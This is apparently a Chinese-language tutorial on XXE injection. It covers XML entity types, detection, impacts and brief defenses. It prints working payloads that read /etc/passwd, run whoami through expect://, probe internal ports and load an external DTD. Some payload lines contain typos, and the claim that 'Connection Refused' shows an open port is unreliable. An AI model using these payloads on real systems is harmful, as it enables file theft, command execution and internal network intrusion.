目录
XXE漏洞即外部实体注入攻击(XML External Entity)。
一、XML基础
XML(eXtensible Markup Language)是一种结构性标记语言,在格式上类似于HTML。可用来标记数据,定义数据类型,传输数据。与HTML不同的是,XML的所有数据标签都没有被预定义,因此用户必须自行定义标签后才能使用。
一个XML文档包含XML声明,DTD文档类型定义及文档元素三个部分组成。
二、实体的分类
在XML文档中,“实体”可以被理解成变量。实体主要包括命名实体、字符实体、外部实体、参数实体。
1、命名实体
如:
<!ENTITY x "a">
<!ENTITY y "b">
上述代码定义了两个命名实体,一个名称为x,值为“a”;另一个名称为y,值为“b”。
如果引用这两个实体:
<root>&x;&y;</root>
即会替换成这两个实体的值“ab”。
2、字符实体
字符实体与HTML实体编码类似,可以用字符ASCII码的十进制或十六进制来表示,如小写字母a可以用a;或a;来表示。除此之外,XML文档中还规定了一系列定义好的“字符引用”,使用特殊的字母组合来表示某些特殊字符,如“<”用“&It; ;”表示等。
3、参数实体
参数实体多用于DTD和文档元素中,与一般实体相比,它以字符%开始,以字符;结束。只有在DTD文件中进行参数实体声明的时候才能引用其他实体,XXE攻击经常结合利用参数实体进行数据回显。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY % param1 "Hello">
<!ENTITY % param2 " ">
<!ENTITY % param3 "World">
<!ENTITY dtd SYSTEM "combine.dtd">
%dtd;
]>
<root><foo>&content;</foo></root>
其中<!ENTITY dtd SYSTEM "combine.dtd">是XML引用外部实体DTD的方式。在外部combine.dtd文件中,通过<!ENTITY content "%param1;¶m2;¶m3;">引用上述三个参数实体,并把这三个参数实体的内容拼合起来,然后将其命名为“content”内部实体。此时在XML文档中引用这个内部实体,其输出的内容就会变为“Hello World”。
4、外部实体
外部实体可支持http、file、ftp、https、php等协议。XXE漏洞主要与外部实体有关。
外部实体声明格式为:
<!ENTITY 实体名称 SYSTEM "URI/URL">
三、XXE漏洞
1、XXE漏洞发生在哪里
任何可以上传XML文件的位置都有可能存在XXE漏洞。若没有对上传的XML文件进行过滤,可导致上传恶意文件。
2、怎么判断网站存在XXE漏洞
抓包:修改http请求,查看抓取的数据包中是否有提交XML文档,修改提交的XML文档再查看返回包响应,查看应用程序是否解析了修改内容,如果解析了则有可能存在XXE漏洞。
3、XXE漏洞的危害
(1)任意文件读取
如果攻击者可以控制服务器解析的XML文档的内容,引入攻击者想要读取的文件内容作为外部实体,即可尝试读取任意的文件内容。如攻击者构造如下的XML文档就会将/etc/passwd文件的内容引入进来并回显在页面中,造成敏感文件内容泄露。
<?xm1 version="1.0" encoding-"utf-8"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>
(2)执行系统命令
如果服务器环境中安装了某些特定的扩展,即可利用其造成任意命令执行,如攻击者构造如下的XML文档:
<?xml version="1.0" encoding-"utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://whoami">
]>
<x>&xxe;</x>
在安装expect扩展的PHP环境中,PHP解析上面的XML文档,即会执行whoami的系统命令,并将结果回显。
(3)探测内网接口
如果Web服务器的的执行环境在内网,则可以通过请求内网IP的某个端口来判断该IP 的相应端口是否开放,这可以通过直接引用外部实体的方式引入要访问该端口的链接即可实现:
<?xm1 version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM http://192.168.1.1:81/mark
]>
<x>&xxe</x>
如果回显结果为“Connection Refused”,即可以判断该IP的81端口是开放的。
(4)攻击内网环境
服务器执行XML文档的环境本身在内网,因此XXE漏洞就类似于SSRF攻击,再结合内网中其他主机的漏洞,进一步进行内网渗透。
4、怎样构建XXE漏洞
(1)直接通过DTD外部实体声明
<!DOCTYPE a [
<!ENTITY a SYSTEM "file:///etc/passwd">
]>
(2)通过DTD文档引入外部DTD文档,再引入外部实体声明
<! DOCTYPE a SYSTEM "http:/test.com/abc.dtd">
dtd文档内容:<!ENTITY b SYSTEM "file:///etc/passwd" >
(3)通过DTD文档引入外部实体声明
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http:/test.com/abc.dtd">
%d;
]>
dtd文档内容:<!ENTITY b SYSTEM "file:///etc/passwd" >
5、XXE漏洞的防御
●禁用外部实体的引入,比如:使用libxmldisableentity_loader(true)等方式。
●过滤如SYSTEM等敏感关键字,防止非正常、攻击性的外部实体引入操作。